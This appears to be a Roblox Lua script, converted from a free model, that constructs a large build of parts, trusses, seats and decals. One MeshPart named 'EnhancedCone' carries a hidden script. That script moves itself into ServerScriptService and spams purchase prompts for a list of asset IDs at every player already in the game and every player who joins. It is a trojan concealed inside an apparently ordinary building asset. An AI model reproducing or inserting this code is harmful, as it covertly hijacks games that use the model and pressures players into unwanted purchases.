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- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(Enum,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- MeshPart0 = Instance.new("MeshPart")
- Script1 = Instance.new("Script")
- MeshPart2 = Instance.new("MeshPart")
- ParticleEmitter3 = Instance.new("ParticleEmitter")
- Part4 = Instance.new("Part")
- Part5 = Instance.new("Part")
- MeshPart6 = Instance.new("MeshPart")
- MeshPart7 = Instance.new("MeshPart")
- ParticleEmitter8 = Instance.new("ParticleEmitter")
- Part9 = Instance.new("Part")
- Part10 = Instance.new("Part")
- Part11 = Instance.new("Part")
- MeshPart12 = Instance.new("MeshPart")
- MeshPart13 = Instance.new("MeshPart")
- Part14 = Instance.new("Part")
- Part15 = Instance.new("Part")
- Part16 = Instance.new("Part")
- Part17 = Instance.new("Part")
- MeshPart18 = Instance.new("MeshPart")
- MeshPart19 = Instance.new("MeshPart")
- ParticleEmitter20 = Instance.new("ParticleEmitter")
- Script21 = Instance.new("Script")
- MeshPart22 = Instance.new("MeshPart")
- ParticleEmitter23 = Instance.new("ParticleEmitter")
- MeshPart24 = Instance.new("MeshPart")
- ParticleEmitter25 = Instance.new("ParticleEmitter")
- MeshPart26 = Instance.new("MeshPart")
- ParticleEmitter27 = Instance.new("ParticleEmitter")
- Part28 = Instance.new("Part")
- Part29 = Instance.new("Part")
- Part30 = Instance.new("Part")
- Part31 = Instance.new("Part")
- Part32 = Instance.new("Part")
- Part33 = Instance.new("Part")
- Part34 = Instance.new("Part")
- Part35 = Instance.new("Part")
- Part36 = Instance.new("Part")
- Part37 = Instance.new("Part")
- Part38 = Instance.new("Part")
- Part39 = Instance.new("Part")
- Part40 = Instance.new("Part")
- Part41 = Instance.new("Part")
- Part42 = Instance.new("Part")
- Part43 = Instance.new("Part")
- Part44 = Instance.new("Part")
- Part45 = Instance.new("Part")
- Part46 = Instance.new("Part")
- Part47 = Instance.new("Part")
- Part48 = Instance.new("Part")
- Part49 = Instance.new("Part")
- Part50 = Instance.new("Part")
- Part51 = Instance.new("Part")
- Part52 = Instance.new("Part")
- Part53 = Instance.new("Part")
- Part54 = Instance.new("Part")
- Part55 = Instance.new("Part")
- Part56 = Instance.new("Part")
- Part57 = Instance.new("Part")
- Script58 = Instance.new("Script")
- Part59 = Instance.new("Part")
- Part60 = Instance.new("Part")
- Part61 = Instance.new("Part")
- Part62 = Instance.new("Part")
- Part63 = Instance.new("Part")
- Part64 = Instance.new("Part")
- Part65 = Instance.new("Part")
- Part66 = Instance.new("Part")
- Part67 = Instance.new("Part")
- Part68 = Instance.new("Part")
- Part69 = Instance.new("Part")
- Part70 = Instance.new("Part")
- Part71 = Instance.new("Part")
- Part72 = Instance.new("Part")
- Part73 = Instance.new("Part")
- Part74 = Instance.new("Part")
- Part75 = Instance.new("Part")
- Part76 = Instance.new("Part")
- Part77 = Instance.new("Part")
- Part78 = Instance.new("Part")
- Part79 = Instance.new("Part")
- Part80 = Instance.new("Part")
- Part81 = Instance.new("Part")
- Part82 = Instance.new("Part")
- Part83 = Instance.new("Part")
- SurfaceLight84 = Instance.new("SurfaceLight")
- Part85 = Instance.new("Part")
- Part86 = Instance.new("Part")
- Part87 = Instance.new("Part")
- Part88 = Instance.new("Part")
- Part89 = Instance.new("Part")
- Part90 = Instance.new("Part")
- Part91 = Instance.new("Part")
- Part92 = Instance.new("Part")
- Part93 = Instance.new("Part")
- Part94 = Instance.new("Part")
- Part95 = Instance.new("Part")
- Part96 = Instance.new("Part")
- Part97 = Instance.new("Part")
- Part98 = Instance.new("Part")
- Part99 = Instance.new("Part")
- Part100 = Instance.new("Part")
- Part101 = Instance.new("Part")
- Part102 = Instance.new("Part")
- ClickDetector103 = Instance.new("ClickDetector")
- CylinderMesh104 = Instance.new("CylinderMesh")
- Script105 = Instance.new("Script")
- Part106 = Instance.new("Part")
- Part107 = Instance.new("Part")
- Part108 = Instance.new("Part")
- Sound109 = Instance.new("Sound")
- Sound110 = Instance.new("Sound")
- Sound111 = Instance.new("Sound")
- Sound112 = Instance.new("Sound")
- Sound113 = Instance.new("Sound")
- Sound114 = Instance.new("Sound")
- Decal115 = Instance.new("Decal")
- Decal116 = Instance.new("Decal")
- Script117 = Instance.new("Script")
- Part118 = Instance.new("Part")
- Part119 = Instance.new("Part")
- BodyVelocity120 = Instance.new("BodyVelocity")
- BodyGyro121 = Instance.new("BodyGyro")
- Part122 = Instance.new("Part")
- Part123 = Instance.new("Part")
- Part124 = Instance.new("Part")
- Part125 = Instance.new("Part")
- Part126 = Instance.new("Part")
- Part127 = Instance.new("Part")
- Part128 = Instance.new("Part")
- Part129 = Instance.new("Part")
- Script130 = Instance.new("Script")
- Part131 = Instance.new("Part")
- Part132 = Instance.new("Part")
- Part133 = Instance.new("Part")
- Part134 = Instance.new("Part")
- Part135 = Instance.new("Part")
- Part136 = Instance.new("Part")
- Part137 = Instance.new("Part")
- Part138 = Instance.new("Part")
- Part139 = Instance.new("Part")
- Part140 = Instance.new("Part")
- Part141 = Instance.new("Part")
- Part142 = Instance.new("Part")
- Decal143 = Instance.new("Decal")
- Part144 = Instance.new("Part")
- Script145 = Instance.new("Script")
- Part146 = Instance.new("Part")
- Part147 = Instance.new("Part")
- Part148 = Instance.new("Part")
- Part149 = Instance.new("Part")
- Part150 = Instance.new("Part")
- Part151 = Instance.new("Part")
- Part152 = Instance.new("Part")
- Part153 = Instance.new("Part")
- Part154 = Instance.new("Part")
- Part155 = Instance.new("Part")
- Part156 = Instance.new("Part")
- Part157 = Instance.new("Part")
- Part158 = Instance.new("Part")
- Part159 = Instance.new("Part")
- Part160 = Instance.new("Part")
- Part161 = Instance.new("Part")
- Part162 = Instance.new("Part")
- Part163 = Instance.new("Part")
- Part164 = Instance.new("Part")
- Part165 = Instance.new("Part")
- Part166 = Instance.new("Part")
- Part167 = Instance.new("Part")
- Part168 = Instance.new("Part")
- Part169 = Instance.new("Part")
- Part170 = Instance.new("Part")
- Part171 = Instance.new("Part")
- Part172 = Instance.new("Part")
- Part173 = Instance.new("Part")
- Part174 = Instance.new("Part")
- Part175 = Instance.new("Part")
- Part176 = Instance.new("Part")
- Part177 = Instance.new("Part")
- Part178 = Instance.new("Part")
- Part179 = Instance.new("Part")
- Part180 = Instance.new("Part")
- Part181 = Instance.new("Part")
- Part182 = Instance.new("Part")
- Part183 = Instance.new("Part")
- Part184 = Instance.new("Part")
- Part185 = Instance.new("Part")
- Part186 = Instance.new("Part")
- Part187 = Instance.new("Part")
- Part188 = Instance.new("Part")
- Part189 = Instance.new("Part")
- Part190 = Instance.new("Part")
- Part191 = Instance.new("Part")
- Part192 = Instance.new("Part")
- Part193 = Instance.new("Part")
- Part194 = Instance.new("Part")
- Part195 = Instance.new("Part")
- Part196 = Instance.new("Part")
- Part197 = Instance.new("Part")
- Part198 = Instance.new("Part")
- Part199 = Instance.new("Part")
- Part200 = Instance.new("Part")
- Part201 = Instance.new("Part")
- Part202 = Instance.new("Part")
- Part203 = Instance.new("Part")
- Part204 = Instance.new("Part")
- Part205 = Instance.new("Part")
- Part206 = Instance.new("Part")
- Part207 = Instance.new("Part")
- Part208 = Instance.new("Part")
- Part209 = Instance.new("Part")
- Part210 = Instance.new("Part")
- Part211 = Instance.new("Part")
- Part212 = Instance.new("Part")
- Part213 = Instance.new("Part")
- Part214 = Instance.new("Part")
- Part215 = Instance.new("Part")
- Part216 = Instance.new("Part")
- Part217 = Instance.new("Part")
- Part218 = Instance.new("Part")
- Part219 = Instance.new("Part")
- Part220 = Instance.new("Part")
- Part221 = Instance.new("Part")
- Part222 = Instance.new("Part")
- Part223 = Instance.new("Part")
- Part224 = Instance.new("Part")
- Part225 = Instance.new("Part")
- Part226 = Instance.new("Part")
- Part227 = Instance.new("Part")
- Part228 = Instance.new("Part")
- Part229 = Instance.new("Part")
- Part230 = Instance.new("Part")
- Part231 = Instance.new("Part")
- Part232 = Instance.new("Part")
- Part233 = Instance.new("Part")
- Part234 = Instance.new("Part")
- Part235 = Instance.new("Part")
- Part236 = Instance.new("Part")
- Part237 = Instance.new("Part")
- Part238 = Instance.new("Part")
- Part239 = Instance.new("Part")
- Part240 = Instance.new("Part")
- Part241 = Instance.new("Part")
- Part242 = Instance.new("Part")
- Part243 = Instance.new("Part")
- Part244 = Instance.new("Part")
- Part245 = Instance.new("Part")
- Part246 = Instance.new("Part")
- Part247 = Instance.new("Part")
- Part248 = Instance.new("Part")
- Part249 = Instance.new("Part")
- Part250 = Instance.new("Part")
- Part251 = Instance.new("Part")
- Part252 = Instance.new("Part")
- Part253 = Instance.new("Part")
- Part254 = Instance.new("Part")
- Part255 = Instance.new("Part")
- Part256 = Instance.new("Part")
- Part257 = Instance.new("Part")
- Part258 = Instance.new("Part")
- Part259 = Instance.new("Part")
- Part260 = Instance.new("Part")
- Part261 = Instance.new("Part")
- Part262 = Instance.new("Part")
- Part263 = Instance.new("Part")
- Part264 = Instance.new("Part")
- Part265 = Instance.new("Part")
- Part266 = Instance.new("Part")
- Part267 = Instance.new("Part")
- Part268 = Instance.new("Part")
- Part269 = Instance.new("Part")
- Part270 = Instance.new("Part")
- Part271 = Instance.new("Part")
- Part272 = Instance.new("Part")
- Part273 = Instance.new("Part")
- Part274 = Instance.new("Part")
- Part275 = Instance.new("Part")
- Part276 = Instance.new("Part")
- Part277 = Instance.new("Part")
- Part278 = Instance.new("Part")
- Part279 = Instance.new("Part")
- Part280 = Instance.new("Part")
- Part281 = Instance.new("Part")
- Part282 = Instance.new("Part")
- Part283 = Instance.new("Part")
- Part284 = Instance.new("Part")
- Part285 = Instance.new("Part")
- Part286 = Instance.new("Part")
- Part287 = Instance.new("Part")
- Part288 = Instance.new("Part")
- Part289 = Instance.new("Part")
- Part290 = Instance.new("Part")
- Part291 = Instance.new("Part")
- Part292 = Instance.new("Part")
- Part293 = Instance.new("Part")
- Part294 = Instance.new("Part")
- Part295 = Instance.new("Part")
- Part296 = Instance.new("Part")
- Part297 = Instance.new("Part")
- Part298 = Instance.new("Part")
- Part299 = Instance.new("Part")
- Part300 = Instance.new("Part")
- Part301 = Instance.new("Part")
- Part302 = Instance.new("Part")
- Part303 = Instance.new("Part")
- Part304 = Instance.new("Part")
- Part305 = Instance.new("Part")
- Part306 = Instance.new("Part")
- Part307 = Instance.new("Part")
- Part308 = Instance.new("Part")
- Part309 = Instance.new("Part")
- Part310 = Instance.new("Part")
- Part311 = Instance.new("Part")
- Part312 = Instance.new("Part")
- Part313 = Instance.new("Part")
- Part314 = Instance.new("Part")
- Part315 = Instance.new("Part")
- Part316 = Instance.new("Part")
- Part317 = Instance.new("Part")
- Part318 = Instance.new("Part")
- Part319 = Instance.new("Part")
- Part320 = Instance.new("Part")
- Part321 = Instance.new("Part")
- Part322 = Instance.new("Part")
- Part323 = Instance.new("Part")
- Part324 = Instance.new("Part")
- Part325 = Instance.new("Part")
- Part326 = Instance.new("Part")
- Part327 = Instance.new("Part")
- Part328 = Instance.new("Part")
- Part329 = Instance.new("Part")
- Part330 = Instance.new("Part")
- Part331 = Instance.new("Part")
- Part332 = Instance.new("Part")
- Part333 = Instance.new("Part")
- Part334 = Instance.new("Part")
- Part335 = Instance.new("Part")
- Part336 = Instance.new("Part")
- Part337 = Instance.new("Part")
- Part338 = Instance.new("Part")
- Part339 = Instance.new("Part")
- Part340 = Instance.new("Part")
- Part341 = Instance.new("Part")
- Part342 = Instance.new("Part")
- Part343 = Instance.new("Part")
- Part344 = Instance.new("Part")
- Part345 = Instance.new("Part")
- Part346 = Instance.new("Part")
- Part347 = Instance.new("Part")
- Part348 = Instance.new("Part")
- Part349 = Instance.new("Part")
- Part350 = Instance.new("Part")
- Part351 = Instance.new("Part")
- Part352 = Instance.new("Part")
- Part353 = Instance.new("Part")
- Part354 = Instance.new("Part")
- Part355 = Instance.new("Part")
- Part356 = Instance.new("Part")
- Part357 = Instance.new("Part")
- Part358 = Instance.new("Part")
- Part359 = Instance.new("Part")
- Part360 = Instance.new("Part")
- Part361 = Instance.new("Part")
- Part362 = Instance.new("Part")
- Part363 = Instance.new("Part")
- Part364 = Instance.new("Part")
- Part365 = Instance.new("Part")
- Part366 = Instance.new("Part")
- Part367 = Instance.new("Part")
- Part368 = Instance.new("Part")
- Part369 = Instance.new("Part")
- Part370 = Instance.new("Part")
- Part371 = Instance.new("Part")
- Part372 = Instance.new("Part")
- Part373 = Instance.new("Part")
- Part374 = Instance.new("Part")
- Part375 = Instance.new("Part")
- Part376 = Instance.new("Part")
- Part377 = Instance.new("Part")
- Part378 = Instance.new("Part")
- Part379 = Instance.new("Part")
- Part380 = Instance.new("Part")
- Part381 = Instance.new("Part")
- Part382 = Instance.new("Part")
- Part383 = Instance.new("Part")
- Part384 = Instance.new("Part")
- Part385 = Instance.new("Part")
- Part386 = Instance.new("Part")
- Part387 = Instance.new("Part")
- Part388 = Instance.new("Part")
- Part389 = Instance.new("Part")
- Part390 = Instance.new("Part")
- Part391 = Instance.new("Part")
- Part392 = Instance.new("Part")
- TrussPart393 = Instance.new("TrussPart")
- TrussPart394 = Instance.new("TrussPart")
- TrussPart395 = Instance.new("TrussPart")
- TrussPart396 = Instance.new("TrussPart")
- TrussPart397 = Instance.new("TrussPart")
- TrussPart398 = Instance.new("TrussPart")
- TrussPart399 = Instance.new("TrussPart")
- Seat400 = Instance.new("Seat")
- Decal401 = Instance.new("Decal")
- TrussPart402 = Instance.new("TrussPart")
- WedgePart403 = Instance.new("WedgePart")
- Seat404 = Instance.new("Seat")
- Decal405 = Instance.new("Decal")
- Seat406 = Instance.new("Seat")
- Decal407 = Instance.new("Decal")
- TrussPart408 = Instance.new("TrussPart")
- TrussPart409 = Instance.new("TrussPart")
- WedgePart410 = Instance.new("WedgePart")
- WedgePart411 = Instance.new("WedgePart")
- TrussPart412 = Instance.new("TrussPart")
- WedgePart413 = Instance.new("WedgePart")
- TrussPart414 = Instance.new("TrussPart")
- MeshPart0.Name = "EnhancedCone"
- MeshPart0.Parent = mas
- MeshPart0.CFrame = CFrame.new(-4.80591679, 100.83622, 26.9300385, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- MeshPart0.Orientation = Vector3.new(0, -90, 0)
- MeshPart0.Position = Vector3.new(-4.80591679, 100.83622, 26.9300385)
- MeshPart0.Rotation = Vector3.new(0, -90, 0)
- MeshPart0.Color = Color3.new(0.388235, 0.372549, 0.384314)
- MeshPart0.Size = Vector3.new(15, 17.6999969, 15)
- MeshPart0.Anchored = true
- MeshPart0.BrickColor = BrickColor.new("Dark stone grey")
- MeshPart0.Material = Enum.Material.DiamondPlate
- MeshPart0.brickColor = BrickColor.new("Dark stone grey")
- Script1.Parent = MeshPart0
- table.insert(cors,sandbox(Script1,function()
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056213658 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056229665 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056212354 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056210981 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056209461 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056207947 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056169430 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056206460 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056171231 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056217842 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056172762 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056175866 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056177509 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056186646 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056185041 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056183483 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056181953 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056180574 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056179120 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056188127 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056189702 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056191326 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056192877 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056194387 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056195837 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056204804 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056203184 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056201664 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
